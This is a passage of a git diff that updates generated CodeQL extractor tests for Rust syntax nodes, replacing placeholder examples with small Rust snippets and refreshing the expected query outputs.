a/rust/ql/test/extractor-tests/generated/Module/Module.expected b/rust/ql/test/extractor-tests/generated/Module/Module.expected index 11b6d9e1e9bd..9383e08f2815 100644 --- a/rust/ql/test/extractor-tests/generated/Module/Module.expected +++ b/rust/ql/test/extractor-tests/generated/Module/Module.expected @@ -1,3 +1,3 @@ -| gen_module.rs:3:1:4:8 | mod foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | -| gen_module.rs:5:1:7:1 | mod bar | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | getNumberOfAttrs: | 0 | hasItemList: | yes | hasName: | yes | hasVisibility: | no | -| lib.rs:1:1:1:15 | mod gen_module | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | +| gen_module.rs:3:1:4:8 | mod foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | +| gen_module.rs:5:1:7:1 | mod bar | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasItemList: | yes | hasName: | yes | hasVisibility: | no | +| lib.rs:1:1:1:15 | mod gen_module | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Module/Module.ql b/rust/ql/test/extractor-tests/generated/Module/Module.ql index a33b7daa8954..bd668e40b66a 100644 --- a/rust/ql/test/extractor-tests/generated/Module/Module.ql +++ b/rust/ql/test/extractor-tests/generated/Module/Module.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - Module x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasItemList, string hasName, string hasVisibility + Module x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasItemList, string hasName, + string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,10 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasItemList() then hasItemList = "yes" else hasItemList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasItemList:", hasItemList, "hasName:", hasName, - "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasItemList:", hasItemList, "hasName:", hasName, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..1a7c70f63b67 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Module x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Name/Name.expected b/rust/ql/test/extractor-tests/generated/Name/Name.expected index 37d1c2e1dd4f..28a23a6d392e 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | hasText: | yes | +| gen_name.rs:7:9:7:11 | foo | hasText: | yes | | lib.rs:1:5:1:12 | gen_name | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected index 9cee64fd236e..3098a78003bd 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | test_name | +| gen_name.rs:7:9:7:11 | foo | foo | | lib.rs:1:5:1:12 | gen_name | gen_name | diff --git a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs index 6b09a11fc12a..78c86e40b3bd 100644 --- a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs +++ b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name() -> () { - // A Name. For example: - todo!() + // An identifier name. + // + // For example: + let foo = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected index 2c0b9dffa4d2..a73f8a029455 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | $crate | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panic | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panicking | hasText: | yes | +| gen_name_ref.rs:7:7:7:9 | foo | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected index 17f24a9cefe1..1b98842e5ec8 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | todo | -| gen_name_ref.rs:5:5:5:11 | $crate | $crate | -| gen_name_ref.rs:5:5:5:11 | panic | panic | -| gen_name_ref.rs:5:5:5:11 | panicking | panicking | +| gen_name_ref.rs:7:7:7:9 | foo | foo | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs index fe161cef749f..99f7e6a80e55 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs +++ b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name_ref() -> () { - // A NameRef. For example: - todo!() + // A reference to a name. + // + // For example: + foo(); + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected index e69de29bb2d1..e3e1a8d3900a 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_never_type_repr.rs:7:17:7:17 | ! | +| gen_never_type_repr.rs:7:21:7:28 | ! | diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs index 203a3b749dc1..4171a820d772 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_never_type_repr() -> () { - // A NeverTypeRepr. For example: - todo!() + // The never type `!`. + // + // For example: + fn foo() -> ! { panic!() } + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected index e966a16e13c4..bb999506a0c6 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected @@ -1 +1,2 @@ | gen_param_list.rs:3:19:3:20 | ParamList | getNumberOfParams: | 0 | hasSelfParam: | no | +| gen_param_list.rs:7:11:7:26 | ParamList | getNumberOfParams: | 2 | hasSelfParam: | no | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected index e69de29bb2d1..9006caf6916a 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected @@ -0,0 +1,2 @@ +| gen_param_list.rs:7:11:7:26 | ParamList | 0 | gen_param_list.rs:7:12:7:17 | ...: i32 | +| gen_param_list.rs:7:11:7:26 | ParamList | 1 | gen_param_list.rs:7:20:7:25 | ...: i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs index 7f25b68c774b..b6b34bb6703f 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs +++ b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_param_list() -> () { - // A ParamList. For example: - todo!() + // A list of parameters in a function, method, or closure declaration. + // + // For example: + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected index e69de29bb2d1..efe22fdb6253 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected index e69de29bb2d1..c20c0ec66fa1 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | gen_paren_expr.rs:7:6:7:10 | ... + ... | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs index 954e1878ee3e..292053784d80 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_paren_expr() -> () { - // A ParenExpr. For example: - todo!() + // A parenthesized expression. + // + // For example: + (x + y) } diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected index e69de29bb2d1..7b9b66a886dc 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected index e69de29bb2d1..832d823866fd 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | gen_paren_pat.rs:7:10:7:10 | x | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs index 9c24db9dce7e..33785db95d3d 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs +++ b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_pat() -> () { - // A ParenPat. For example: - todo!() + // A parenthesized pattern. + // + // For example: + let (x) = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected index e69de29bb2d1..fd5d8310d170 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected index e69de29bb2d1..b4167e4201a5 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | gen_paren_type_repr.rs:7:13:7:15 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs index 9e2577009dab..e69dadf6ca74 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_type_repr() -> () { - // A ParenTypeRepr. For example: - todo!() + // A parenthesized type. + // + // For example: + let x: (i32); + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected new file mode 100644 index 000000000000..317d43de72d8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected @@ -0,0 +1 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | getNumberOfTypeArgs: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql new file mode 100644 index 000000000000..73080b26f2d9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int getNumberOfTypeArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfTypeArgs = x.getNumberOfTypeArgs() +select x, "getNumberOfTypeArgs:", getNumberOfTypeArgs diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected new file mode 100644 index 000000000000..8ae7aa526d3e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected @@ -0,0 +1,2 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 0 | gen_parenthesized_arg_list.rs:9:15:9:17 | TypeArg | +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 1 | gen_parenthesized_arg_list.rs:9:20:9:25 | TypeArg | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql new file mode 100644 index 000000000000..04247f8ff647 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getTypeArg(index) diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs new file mode 100644 index 000000000000..9af64f99191e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs @@ -0,0 +1,14 @@ +// generated by codegen, do not edit + +fn test_parenthesized_arg_list() -> () { + // A parenthesized argument list as used in function traits. + // + // For example: + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } +} diff --git a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs index a3dc7ccb6e4a..70efa0da8fc8 100644 --- a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_path_type_repr() -> () { - // A type referring to a path. For example: + // A path referring to a type. For example: type X = std::collections::HashMap; type Y = X::Item; } diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected index e69de29bb2d1..b975dde09ff2 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | isConst: | yes | isMut: | no | hasTypeRepr: | yes | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | isConst: | no | isMut: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected index e69de29bb2d1..8006e33f1d6b 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | gen_ptr_type_repr.rs:7:19:7:21 | i32 | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | gen_ptr_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs index a071dfa0bbf5..cb3d15f6e55a 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ptr_type_repr() -> () { - // A PtrTypeRepr. For example: - todo!() + // A pointer type. + // + // For example: + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected index e69de29bb2d1..da74246c0db4 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | isMut: | no | hasLifetime: | no | hasTypeRepr: | yes | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | isMut: | yes | hasLifetime: | no | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected index e69de29bb2d1..59518bf37431 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | gen_ref_type_repr.rs:7:13:7:15 | i32 | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | gen_ref_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs index 083e0817fbf4..c8997352aaf4 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ref_type_repr() -> () { - // A RefTypeRepr. For example: - todo!() + // A reference type. + // + // For example: + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected index e69de29bb2d1..3568d798d288 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected index e69de29bb2d1..323982f910df 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | gen_rename.rs:7:16:7:18 | bar | diff --git a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs index 8d8ca68ce357..0edc248ec6f7 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs +++ b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rename() -> () { - // A Rename. For example: - todo!() + // A rename in a use declaration. + // + // For example: + use foo as bar; + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected index e69de29bb2d1..c5d19cda38db 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected +++ b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected @@ -0,0 +1 @@ +| gen_rest_pat.rs:7:13:7:14 | .. | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs index 0f7b95b93f20..5010471ca451 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs +++ b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rest_pat() -> () { - // A RestPat. For example: - todo!() + // A rest pattern (`..`) in a tuple, slice, or struct pattern. + // + // For example: + let (a, .., z) = (1, 2, 3); + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected index fb87db7cabe0..18726b694bf4 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected @@ -1,2 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | hasTypeRepr: | yes | - +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected index 967da637efbd..c150253243ef 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected @@ -1 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | gen_ret_type_repr.rs:3:28:3:29 | TupleTypeRepr | +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | gen_ret_type_repr.rs:7:17:7:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs index 4c3b8a6aaf0c..a3294ce85451 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_ret_type_repr() -> () { - // A RetTypeRepr. For example: - todo!() + // A return type in a function signature. + // + // For example: + fn foo() -> i32 {} + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected index e69de29bb2d1..125f3345c928 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected @@ -0,0 +1,2 @@ +| gen_return_type_syntax.rs:7:45:7:48 | ReturnTypeSyntax | +| gen_return_type_syntax.rs:13:25:13:28 | ReturnTypeSyntax | diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs index 31601c86b33d..eb09efc78f86 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs @@ -1,6 +1,19 @@ // generated by codegen, do not edit fn test_return_type_syntax() -> () { - // A ReturnTypeSyntax. For example: - todo!() + // A return type notation `(..)` to reference or bound the type returned by a trait method + // + // For example: + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } } diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected index e69de29bb2d1..dfcfb754437f 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected index e69de29bb2d1..7c0b5e94e2f3 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | gen_slice_type_repr.rs:7:14:7:16 | i32 | diff 